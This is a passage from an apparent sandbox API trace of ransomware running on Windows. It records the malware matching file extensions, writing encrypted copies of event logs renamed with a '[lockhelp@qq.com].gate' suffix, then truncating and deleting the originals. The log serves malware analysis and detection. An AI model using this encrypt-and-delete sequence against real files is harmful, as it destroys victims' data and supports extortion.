returned 1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString=".doc") returned 4 [0278.725] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".docx") returned 5 [0278.725] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.725] lstrlenW (lpString=".pdf") returned 4 [0278.725] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".xls") returned 4 [0278.725] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".xlsx") returned 5 [0278.725] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.725] lstrlenW (lpString=".ppt") returned 4 [0278.725] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString=".zip") returned 4 [0278.725] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".rar") returned 4 [0278.725] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".bz2") returned 4 [0278.725] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString=".7z") returned 3 [0278.725] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString=".dbf") returned 4 [0278.725] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString=".1cd") returned 4 [0278.725] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString=".jpg") returned 4 [0278.725] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.725] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.726] lstrlenW (lpString=".doc") returned 4 [0278.726] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".docx") returned 5 [0278.726] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0278.726] lstrlenW (lpString=".pdf") returned 4 [0278.726] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".xls") returned 4 [0278.726] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".xlsx") returned 5 [0278.726] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0278.726] lstrlenW (lpString=".ppt") returned 4 [0278.726] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.726] lstrlenW (lpString=".zip") returned 4 [0278.726] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".rar") returned 4 [0278.726] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".bz2") returned 4 [0278.726] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString=".7z") returned 3 [0278.726] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0278.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.726] lstrlenW (lpString=".dbf") returned 4 [0278.726] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.726] lstrlenW (lpString=".1cd") returned 4 [0278.726] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0278.726] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0278.726] lstrlenW (lpString=".jpg") returned 4 [0278.726] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0278.726] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0278.727] lstrlenW (lpString="Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 82 [0278.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.727] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0278.727] CloseHandle (hObject=0x398) returned 1 [0278.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 0x20 [0278.727] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0278.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.727] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0278.727] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x420 [0278.728] GetLastError () returned 0x0 [0278.728] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0278.810] WriteFile (in: hFile=0x420, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0278.811] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0278.811] WriteFile (in: hFile=0x420, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x178, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x178, lpOverlapped=0x0) returned 1 [0278.811] SetEndOfFile (hFile=0x420) returned 1 [0278.812] CloseHandle (hObject=0x420) returned 1 [0279.279] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.279] SetEndOfFile (hFile=0x398) returned 1 [0279.280] CloseHandle (hObject=0x398) returned 1 [0279.280] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.280] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx" (normalized: "c:\\logs\\microsoft-windows-windows firewall with advanced security%4connectionsecurity.evtx")) returned 1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString=".doc") returned 4 [0279.281] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".docx") returned 5 [0279.281] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.281] lstrlenW (lpString=".pdf") returned 4 [0279.281] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".xls") returned 4 [0279.281] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".xlsx") returned 5 [0279.281] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.281] lstrlenW (lpString=".ppt") returned 4 [0279.281] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString=".zip") returned 4 [0279.281] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".rar") returned 4 [0279.281] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".bz2") returned 4 [0279.281] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString=".7z") returned 3 [0279.281] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString=".dbf") returned 4 [0279.281] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString=".1cd") returned 4 [0279.281] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.281] lstrlenW (lpString=".jpg") returned 4 [0279.281] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.281] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString=".doc") returned 4 [0279.282] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".docx") returned 5 [0279.282] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.282] lstrlenW (lpString=".pdf") returned 4 [0279.282] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".xls") returned 4 [0279.282] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".xlsx") returned 5 [0279.282] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.282] lstrlenW (lpString=".ppt") returned 4 [0279.282] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString=".zip") returned 4 [0279.282] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".rar") returned 4 [0279.282] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".bz2") returned 4 [0279.282] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString=".7z") returned 3 [0279.282] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString=".dbf") returned 4 [0279.282] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString=".1cd") returned 4 [0279.282] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.282] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Firewall With Advanced Security%4ConnectionSecurity.evtx") returned 90 [0279.282] lstrlenW (lpString=".jpg") returned 4 [0279.282] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.283] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0279.283] lstrlenW (lpString="Setup.evtx") returned 10 [0279.283] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0279.283] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0279.283] CloseHandle (hObject=0x398) returned 1 [0279.283] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 0x20 [0279.283] GetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.283] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0279.283] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.283] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.283] CreateFileW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\setup.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0279.284] GetLastError () returned 0x0 [0279.284] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0279.515] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0279.517] ReadFile (in: hFile=0x398, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.517] WriteFile (in: hFile=0x39c, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0xe8, lpOverlapped=0x0) returned 1 [0279.517] SetEndOfFile (hFile=0x39c) returned 1 [0279.517] CloseHandle (hObject=0x39c) returned 1 [0279.519] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.519] SetEndOfFile (hFile=0x398) returned 1 [0279.520] CloseHandle (hObject=0x398) returned 1 [0279.520] SetFileAttributesW (lpFileName="C:\\Logs\\Setup.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.520] DeleteFileW (lpFileName="C:\\Logs\\Setup.evtx" (normalized: "c:\\logs\\setup.evtx")) returned 1 [0279.522] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.522] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.522] lstrlenW (lpString=".doc") returned 4 [0279.522] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".docx") returned 5 [0279.522] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.522] lstrlenW (lpString=".pdf") returned 4 [0279.522] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".xls") returned 4 [0279.522] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".xlsx") returned 5 [0279.522] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.522] lstrlenW (lpString=".ppt") returned 4 [0279.522] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.522] lstrlenW (lpString=".zip") returned 4 [0279.522] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".rar") returned 4 [0279.522] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".bz2") returned 4 [0279.522] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.522] lstrlenW (lpString=".7z") returned 3 [0279.522] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.522] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".dbf") returned 4 [0279.523] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".1cd") returned 4 [0279.523] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".jpg") returned 4 [0279.523] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".doc") returned 4 [0279.523] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".docx") returned 5 [0279.523] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.523] lstrlenW (lpString=".pdf") returned 4 [0279.523] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".xls") returned 4 [0279.523] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".xlsx") returned 5 [0279.523] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.523] lstrlenW (lpString=".ppt") returned 4 [0279.523] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".zip") returned 4 [0279.523] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".rar") returned 4 [0279.523] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".bz2") returned 4 [0279.523] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.523] lstrlenW (lpString=".7z") returned 3 [0279.523] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.523] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.523] lstrlenW (lpString=".dbf") returned 4 [0279.523] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.524] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.524] lstrlenW (lpString=".1cd") returned 4 [0279.524] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.524] lstrlenW (lpString="C:\\Logs\\Setup.evtx") returned 18 [0279.524] lstrlenW (lpString=".jpg") returned 4 [0279.524] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.524] lstrcmpiW (lpString1=".evtx", lpString2=".gate") returned -1 [0279.524] lstrlenW (lpString="Windows PowerShell.evtx") returned 23 [0279.524] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0279.538] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x38bff14 | out: lpFileSize=0x38bff14*=69632) returned 1 [0279.538] CloseHandle (hObject=0x3bc) returned 1 [0279.538] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 0x20 [0279.538] GetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0279.541] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0279.541] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.541] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.541] CreateFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\logs\\windows powershell.evtx.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0279.541] GetLastError () returned 0x0 [0279.541] ReadFile (in: hFile=0x390, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x11000, lpOverlapped=0x0) returned 1 [0279.625] WriteFile (in: hFile=0x3f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x11010, lpOverlapped=0x0) returned 1 [0279.629] ReadFile (in: hFile=0x390, lpBuffer=0x42d1020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x38bfecc, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesRead=0x38bfecc*=0x0, lpOverlapped=0x0) returned 1 [0279.629] WriteFile (in: hFile=0x3f8, lpBuffer=0x42d1020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x38bfc94, lpOverlapped=0x0 | out: lpBuffer=0x42d1020*, lpNumberOfBytesWritten=0x38bfc94*=0x102, lpOverlapped=0x0) returned 1 [0279.630] SetEndOfFile (hFile=0x3f8) returned 1 [0279.630] CloseHandle (hObject=0x3f8) returned 1 [0279.631] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x38bfec0 | out: lpNewFilePointer=0x0) returned 1 [0279.631] SetEndOfFile (hFile=0x390) returned 1 [0279.632] CloseHandle (hObject=0x390) returned 1 [0279.632] SetFileAttributesW (lpFileName="C:\\Logs\\Windows PowerShell.evtx.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0279.633] DeleteFileW (lpFileName="C:\\Logs\\Windows PowerShell.evtx" (normalized: "c:\\logs\\windows powershell.evtx")) returned 1 [0279.633] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.633] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.633] lstrlenW (lpString=".doc") returned 4 [0279.633] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".docx") returned 5 [0279.633] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.633] lstrlenW (lpString=".pdf") returned 4 [0279.633] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".xls") returned 4 [0279.633] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".xlsx") returned 5 [0279.633] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0279.633] lstrlenW (lpString=".ppt") returned 4 [0279.633] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.633] lstrlenW (lpString=".zip") returned 4 [0279.633] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".rar") returned 4 [0279.633] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".bz2") returned 4 [0279.633] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0279.633] lstrlenW (lpString=".7z") returned 3 [0279.633] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".dbf") returned 4 [0279.634] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".1cd") returned 4 [0279.634] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".jpg") returned 4 [0279.634] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString="C:\\Logs\\Windows PowerShell.evtx") returned 31 [0279.634] lstrlenW (lpString=".doc") returned 4 [0279.634] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0279.634] lstrlenW (lpString=".docx") returned 5 [0279.634] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0279.634] lstrlenW (lpString=".pdf") returned 4 